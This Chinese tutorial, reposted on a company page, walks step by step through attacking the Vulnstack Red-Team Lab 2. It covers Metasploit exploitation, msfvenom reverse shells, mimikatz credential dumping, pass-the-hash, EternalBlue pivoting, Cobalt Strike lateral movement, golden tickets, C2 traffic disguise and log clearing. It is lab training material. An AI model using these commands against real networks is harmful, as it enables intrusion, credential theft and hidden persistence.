资讯动态

Vulnstack红日靶场2:基于Cobalt Strike的内网渗透实战与CS联动技巧

发布时间:2026/8/10 2:41:17 来源:尧图企业网站定制
1. 项目概述与核心价值最近在安全圈子里Vulnstack红日靶场的热度一直居高不下。作为一个模拟真实企业内网环境的靶场它几乎成了检验渗透测试者内网横向移动和域渗透能力的“标准考卷”。特别是红日靶场2其环境设计巧妙涉及Web漏洞、主机提权、域内信息收集、横向移动以及权限维持等多个核心环节完整走一遍流程对内网渗透的理解能提升一个档次。很多朋友可能卡在了第一步环境搭建。网上教程虽多但要么环境对不上要么步骤跳跃太大对新手极不友好。今天我就以一个“过来人”的身份分享一套基于VMware和Kali Linux的保姆级复现流程。我会从零开始手把手带你搭建靶场、配置网络、复现攻击链并重点分享如何将Cobalt StrikeCS联动到整个渗透流程中实现从外网打点到内网漫游的丝滑体验。无论你是刚接触内网安全的新手还是想系统梳理一下流程的老兵这篇长文都能给你带来实实在在的收获。2. 环境准备与靶场搭建2.1 靶场镜像与工具获取首先我们需要准备好所有“食材”。Vulnstack红日靶场2的官方镜像可以在其GitHub仓库或相关安全论坛找到。通常它是一个包含三台虚拟机的压缩包一台作为外网Web服务器Windows 2008通常带有诸如ThinkPHP等漏洞一台作为内网域成员服务器Windows 7或2008还有一台是域控制器Windows Server 2012或2008 R2。确保你下载的是完整的、未被修改过的镜像这是复现成功的基础。我们的攻击机选择Kali Linux这是渗透测试的“瑞士军刀”预装了绝大多数我们需要的工具。你需要从Kali官网下载最新的稳定版ISO镜像。至于虚拟机软件VMware Workstation Pro是首选其网络配置功能强大且稳定非常适合搭建这种多机互通的复杂内网环境。注意请务必从官方或可信渠道下载软件和镜像避免镜像被植入后门或软件被捆绑恶意代码。Kali和VMware都有明确的官方网站。2.2 VMware网络拓扑规划与配置这是整个环境搭建中最关键也最容易出错的一步。红日靶场2的典型网络拓扑需要模拟出“攻击机外网- Web服务器双网卡- 内网域环境”的结构。创建自定义虚拟网络打开VMware的“编辑”-“虚拟网络编辑器”。我们需要创建两个VMnet。VMnet1仅主机模式将其IP网段设置为192.168.52.0/24子网掩码255.255.255.0。这个网络将模拟“外网”我们的Kali攻击机和靶场的Web服务器外网卡将连接至此。VMnet2仅主机模式将其IP网段设置为192.168.93.0/24子网掩码255.255.255.0。这个网络将模拟“内网”靶场Web服务器的内网卡、域成员服务器和域控制器都连接至此。务必取消勾选“使用本地DHCP服务”我们将手动配置静态IP避免IP地址变动带来的麻烦。导入并配置靶场虚拟机分别解压并导入三台靶场虚拟机。首次启动时选择“我已复制该虚拟机”。Web服务器Win2008在虚拟机设置中添加两块网络适配器。适配器1连接到VMnet1适配器2连接到VMnet2。启动后手动设置IP。外网卡对应VMnet1设置为192.168.52.143举例网关可留空。内网卡对应VMnet2设置为192.168.93.143。这样这台机器就成了连接内外网的“跳板机”。域成员服务器Win7网络适配器连接到VMnet2IP设置为192.168.93.138DNS指向域控制器的IP如192.168.93.130。域控制器Win2012网络适配器连接到VMnet2IP设置为192.168.93.130同时也是DNS服务器。配置Kali攻击机将Kali虚拟机的网络适配器连接到VMnet1。启动后手动配置静态IP例如192.168.52.128。这样Kali就能与Web服务器的外网卡192.168.52.143直接通信了。配置完成后你可以在Kali上ping 192.168.52.143测试到Web服务器的连通性。在Web服务器上ping 192.168.93.138和ping 192.168.93.130测试到内网机器的连通性。确保所有基础网络都是通的再进行下一步。2.3 Kali Linux基础优化与问题排查新安装的Kali可能需要一些调整才能用得顺手。首先建议更新源并升级系统sudo apt update sudo apt upgrade -y。如果速度慢可以更换为国内镜像源。一个非常常见且恼人的问题是“Kali鼠标光标消失”。这通常发生在VMware Tools安装不完整或显示驱动有问题时。解决方法如下首先尝试在VMware菜单中为虚拟机安装或重新安装VMware Tools。如果无效可以尝试安装open-vm-tools-desktopsudo apt install open-vm-tools-desktop -y然后重启。还有一种临时解决方案是在终端输入killall -9 vmware-user然后等待VMware Tools进程自动重启光标有时会恢复。另一个常见问题是权限。Kali默认用户是kali但很多操作需要root权限。避免频繁使用sudo的一个方法是直接切换到root shellsudo su。但要注意这会让你在root环境下操作需格外小心。对于某些特定工具如Docker可能需要将用户加入docker组sudo usermod -aG docker kali注销后重新登录生效。3. 外网打点与初始突破3.1 信息收集与漏洞扫描环境就绪后我们首先从Kali对Web服务器192.168.52.143进行信息收集。使用nmap进行端口扫描是第一步nmap -sS -sV -O -p- 192.168.52.143参数解释-sSSYN半开扫描-sV探测服务版本-O探测操作系统-p-扫描所有65535个端口。扫描结果可能会显示开放了80HTTP、445SMB、3306MySQL等端口。接下来访问http://192.168.52.143看看是什么Web应用。红日靶场2通常模拟的是一个存在漏洞的CMS或框架比如ThinkPHP。使用浏览器插件或命令行工具如whatweb进行指纹识别whatweb http://192.168.52.143。同时可以用dirb或gobuster进行目录扫描寻找后台、备份文件等敏感路径。3.2 漏洞利用与WebShell获取假设我们通过信息收集发现目标是一个存在已知RCE远程代码执行漏洞的ThinkPHP版本例如5.0.23。我们可以直接使用Metasploit框架中的对应模块。启动Metasploitmsfconsole搜索漏洞search thinkphp使用对应模块use exploit/multi/php/thinkphp_rce设置参数set RHOSTS 192.168.52.143set TARGETURI /如果目标在根目录执行攻击exploit如果利用成功我们会获得一个Meterpreter会话。这是我们的第一个立足点。首先使用getuid命令查看当前权限通常是www-data或apache这类Web服务权限权限较低。3.3 权限提升与持久化入口在Meterpreter会话中我们需要进行提权。可以尝试使用本地漏洞利用模块。先使用sysinfo查看系统信息然后背景化当前会话background。在msf中搜索提权模块search suggester使用post/multi/recon/local_exploit_suggester并设置会话ID。运行后它会推荐可能成功的本地提权漏洞。选择一个推荐的模块例如针对Windows MS16-032使用它并设置会话参数再次exploit。如果提权成功新的Meterpreter会话权限就是NT AUTHORITY\SYSTEM了。获得系统权限后我们需要建立一个更稳定、持久的后门以便后续内网横向移动。一种常见方法是创建计划任务或服务。在Meterpreter中可以使用persistence模块。但这里为了后续与Cobalt Strike联动我们采用另一种更灵活的方式生成一个Payload并上传执行。我们可以用msfvenom生成一个反向TCP的Windows可执行文件exemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.52.128 LPORT4444 -f exe -o shell.exe将生成的shell.exe通过Meterpreter的upload命令上传到目标机器然后使用execute -f shell.exe执行。同时在msf中启动对应的监听器use exploit/multi/handler, 设置同样的payload和LHOST/LPORT。这样我们就有了一个独立的、高权限的Meterpreter会话为下一步跳板做准备。4. 内网横向移动与信息收集4.1 建立跳板与内网探测现在我们已经完全控制了作为跳板机的Web服务器192.168.52.143/192.168.93.143。接下来我们要以它为据点向内网192.168.93.0/24渗透。首先在已控的Web服务器上进行内网信息收集。在Meterpreter会话中可以运行arp -a或ipconfig /all来确认内网网卡和同网段主机。更高效的方法是上传一些轻量级的内网扫描工具如nmapfor Windows 或fscan。假设我们上传了fscan.exe。在Meterpreter中切换到该目录执行execute -f fscan.exe -a -h 192.168.93.0/24这将快速扫描内网存活主机和常见端口。我们很可能会发现192.168.93.138域成员和192.168.93.130域控是存活的并且开放了诸如135、139、445、389LDAP、53DNS等端口。4.2 凭证获取与哈希传递攻击PtH在Windows域环境中最经典的横向移动方式是利用凭证。我们可以尝试从已控的Web服务器上抓取密码哈希。在Meterpreter中使用hashdump或run post/windows/gather/hashdump来获取本地用户哈希。但更关键的是如果这台机器有域用户登录过我们可以尝试使用mimikatz来抓取明文密码或Kerberos票据。上传mimikatz工具在Meterpreter的shell中执行mimikatz.exe privilege::debug sekurlsa::logonpasswords exit如果成功你可能会看到域用户格式为DOMAIN\User的明文密码或NTLM哈希。假设我们抓取到了域用户REDTEAM\zhangsan的哈希HASH_VALUE。现在我们可以尝试使用Pass-the-Hash (PtH)攻击来横向移动到内网的另一台主机如192.168.93.138。在Meterpreter中我们可以使用psexec模块但需要指定哈希use exploit/windows/smb/psexec set RHOSTS 192.168.93.138 set SMBUser REDTEAM\zhangsan set SMBPass HASH_VALUE # 这里填入抓取的NTLM哈希 set PAYLOAD windows/x64/meterpreter/bind_tcp # 因为是从内网跳板机发起所以用bind_tcp set LPORT 5555 exploit如果目标主机的SMB服务开放445端口并且该域用户有足够的权限通常是本地管理员组我们就能成功获得192.168.93.138的Meterpreter会话。4.3 利用MS17-010永恒之蓝进行横向移动在内网中老旧系统未打补丁的情况很常见。我们可以尝试利用经典的MS17-010漏洞。首先用nmap脚本扫描内网主机是否存在该漏洞nmap --script smb-vuln-ms17-010 192.168.93.0/24如果发现某台主机例如192.168.93.138存在漏洞我们可以直接从已控的跳板机Web服务器上发起攻击。但更常见的做法是将我们的攻击流量“代理”进内网。这里就需要用到端口转发或SOCKS代理。在已控的Web服务器的Meterpreter会话中添加一个路由让MSF知道如何访问内网网段run autoroute -s 192.168.93.0/24然后背景化会话。现在我们可以直接在Kali本地的MSF中使用针对192.168.93.138的exploit/windows/smb/ms17_010_eternalblue模块。因为我们已经通过autoroute建立了路由MSF会自动通过已控的跳板将会话弹回来。5. Cobalt StrikeCS联动实战技巧5.1 CS团队服务器部署与监听器配置Metasploit功能强大但在长期渗透和团队协作中Cobalt StrikeCS的图形化、协同作战和后期能力更胜一筹。我们的目标是将CS作为控制中枢接管从外网到内网的所有会话。首先你需要一台具有公网IP的服务器或在本机但内网穿透较麻烦来运行CS的团队服务器TeamServer。假设你有一台VPSIP是Your_Server_IP。上传CS安装包到服务器赋予执行权限chmod x teamserver启动团队服务器./teamserver Your_Server_IP Your_Password [/path/to/c2.profile]Your_Password是客户端连接的共享密码。C2 Profile用于配置通信的流量伪装对抗流量检测这是CS进阶使用的关键。然后在你的本地攻击机Kali或Windows上启动CS客户端连接团队服务器。输入服务器IP、密码和你的昵称。连接成功后首先需要创建监听器Listener。这是Beacon回连的“电话线”。点击Cobalt Strike-Listeners。HTTP/HTTPS监听器用于外网初始攻击。设置好端口如80443Redirect可以指向一个合法的网站用于迷惑。SMB Beacon监听器用于内网横向移动。它通过命名管道在已控主机之间通信非常适合不出网无法直接连接外网C2的内网主机。TCP Beacon监听器另一种内网通信方式。5.2 从MSF会话派生到CS Beacon我们已经有了Metasploit的Meterpreter会话在Web服务器上。现在我们要把这个会话“迁移”到CS的控制下。在CS中准备好一个Windows可执行文件Stageless的Payload。点击Attacks-Packages-Windows Executable (S)。选择刚才创建的HTTP监听器生成一个payload.exe。将这个payload.exe上传到已控的Web服务器通过Meterpreter的upload命令。在Meterpreter会话中执行这个payload.exeexecute -f payload.exe。回到CS客户端稍等片刻你应该能看到一个新的主机上线。它的图标可能一开始是白色的表示Stager阶段很快会变成黑色的表示完整的Beacon已建立。现在这个Web服务器就在CS的控制下了。我们可以抛弃MSF的会话所有操作都在CS的图形化界面中进行更加方便。5.3 利用CS进行内网横向移动与域渗透CS控制跳板机后内网横向移动变得可视化且强大。端口扫描与视图在Targets标签页可以右键主机进行端口扫描。扫描结果会以图形化方式呈现非常直观。凭证获取右键已控主机选择Access-Dump HashesCS会尝试使用内置的Mimikatz功能抓取哈希。获取的哈希会保存在Credentials标签页中。哈希传递PtH在Credentials标签页右键一个NTLM哈希选择Spawn As。这会生成一个使用该哈希运行的新的Beacon。如果该哈希对应的用户在目标机器上有权限新的Beacon就会在该目标机器上上线。这是CS里进行PtH最优雅的方式。SMB Beacon与横向移动首先确保你创建了一个SMB监听器。在已控主机A跳板机的Beacon中输入命令jump winrm64 192.168.93.138 smb。这个命令会尝试通过WinRM协议利用当前Beacon的令牌在目标主机192.168.93.138上生成一个SMB Beacon的Stager。如果成功你会在CS中看到主机192.168.93.138上线但其父级是主机A。它们之间通过命名管道通信完全不需要192.168.93.138直接连接外网C2服务器。域信息收集与权限提升在Beacon中可以使用内置命令进行域内信息收集如net view /domainnet group “domain admins” /domain等。更强大的功能是使用powershell-import加载PowerShell脚本然后执行诸如BloodHound数据收集脚本将数据导出后放入BloodHound图形化工具进行分析可以清晰地看到域内的攻击路径。5.4 CS的权限维持与隐蔽技巧获得域控权限后需要思考如何维持访问。CS提供了多种方式创建计划任务通过schtasks命令创建定时启动的Beacon。创建服务通过sc命令创建系统服务。Golden Ticket黄金票据如果抓取到了域控krbtgt账户的哈希可以在CS中直接生成黄金票据从而获得域内任意服务的访问权限这是最强大的权限维持手段之一。命令类似于golden_ticket_create REDTEAM\Administrator krbtgt_ntlm_hash。C2 Profile与流量伪装这是CS的灵魂功能之一。通过编写C2 Profile可以定义Beacon与团队服务器之间通信的HTTP请求/响应头、URI参数、证书等使其流量看起来像正常的云服务如Google、Azure或企业内部软件的流量极大增强隐蔽性。6. 常见问题排查与实战心得6.1 网络不通问题深度排查网络问题是复现靶场时最大的拦路虎。如果Kali ping不通Web服务器请按以下顺序排查虚拟机网络设置反复确认每台虚拟机的网络适配器是否连接到了正确的VMnetKali和Web外网卡在VMnet1其他在VMnet2。防火墙关闭所有虚拟机尤其是Windows靶机的防火墙。在真实渗透中需要其他技巧但实验环境建议直接关闭。IP地址冲突确保所有手动设置的IP地址在同一网段内且唯一。虚拟网络编辑器配置确认VMnet1和VMnet2的网段没有重叠且子网掩码正确。检查是否勾选了“将主机虚拟适配器连接到此网络”。主机系统服务确保主机系统的VMware相关服务如VMware NAT Service, VMware DHCP Service正在运行。如果从Web服务器ping不通内网其他主机除了检查上述防火墙和IP设置还需确认Web服务器的内网卡VMnet2是否启用了“Microsoft网络的文件和打印机共享”等必要的网络功能。6.2 漏洞利用失败原因分析Payload不匹配确保生成的Payload架构x86/x64与目标系统匹配。32位系统可以运行64位Payload但反之则不行。使用sysinfo命令查看目标系统信息。杀毒软件拦截靶场环境通常没有杀软但真实环境或某些加固的镜像可能有。可以尝试对Payload进行编码、加壳或使用分离加载等技术进行免杀。CS的Artifact Kit和Resource Kit就是用于生成免杀Payload的。目标服务未运行或版本不符确认扫描到的服务版本与你要利用的漏洞版本一致。例如ThinkPHP的漏洞利用可能对路径有要求需要正确设置TARGETURI参数。会话意外断开Meterpreter会话可能因为网络不稳定、目标进程崩溃或反病毒措施而断开。使用persistence模块建立持久化后门或者使用CS的Beacon其心跳机制和重连能力更强。6.3 CS联动过程中的典型坑点Beacon不上线监听器配置错误检查团队服务器防火墙是否放通了监听端口。检查监听器的IP地址是否正确应设为团队服务器IP或0.0.0.0。Payload类型错误在内网横向移动时如果目标主机不能出网必须使用SMB Beacon或TCP Beacon而不能使用HTTP/HTTPS Beacon。代理问题如果跳板机需要通过代理上网需要在生成Payload或配置监听器时设置代理。哈希传递PtH失败权限不足确保使用的域用户是目标机器的本地管理员组成员。SMB签名限制如果目标服务器如域控强制要求SMB签名普通的PtH攻击会失败。需要寻找其他方法或者使用Kerberos票据相关的攻击。Protected Users组如果用户被加入了“Protected Users”安全组会阻止NTLM认证导致PtH失败。团队服务器被溯源这是实战中的大忌。务必使用C2 Profile对流量进行伪装使用CDN或云函数等反向代理来隐藏团队服务器真实IP定期更换监听器和Payload。6.4 个人实战经验与技巧分享信息收集要细不要只满足于端口扫描。多花时间进行Web目录扫描、子域名枚举、框架指纹识别。一个不起眼的备份文件如www.zip、一个暴露的测试接口如/phpinfo.php都可能成为突破口。善用代理链在复杂内网中可能需要经过多级跳板。熟练掌握MSF的autoroute、socks4a代理模块以及CS的SOCKS Proxy功能可以让你的攻击流量在多层内网中畅行无阻。在MSF中设置好路由后配合proxychains工具可以让本地的扫描器如nmap直接扫描内网深网段。凭证是王道内网渗透本质上很多时候是“凭证狩猎”。拿到一个高权限的域用户凭证可能比发现十个漏洞都有用。除了Mimikatz多关注浏览器的密码、保存的RDP连接信息、配置文件中的硬编码密码等。思路要灵活不要死磕一种方法。如果445端口的SMB攻击不行试试80/443的Web漏洞或者135端口的WMI、5985端口的WinRM。CS的jump命令就支持多种协议psexec, winrm, wmi等。清理痕迹实验环境无所谓但实战中做完任何操作都要思考如何清理日志。在CS Beacon中可以使用logonpasswords命令后跟clear参数来清除Mimikatz在内存中的痕迹。对于Windows事件日志可以使用clearev命令Meterpreter或相应的PowerShell脚本。文档与记录在复杂的渗透测试过程中一定要做好记录。用了什么IP、什么账号、拿到了什么权限、发现了什么信息。CS的Notes功能和Reporting功能非常好用。清晰的记录有助于梳理攻击路径也便于后期编写报告。复现红日靶场这样的综合性靶场最大的收获不是按部就班地走完流程而是在遇到问题时学会如何利用搜索引擎、查阅官方文档、分析错误信息去独立解决。每一个报错都是学习的机会。当你能够不依赖教程自己调试通整个流程甚至发现教程里没写的更优路径时你的内网渗透能力才算真正入了门。最后记住所有技术都应在法律和授权范围内使用靶场是磨砺技术的绝佳沙盒。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价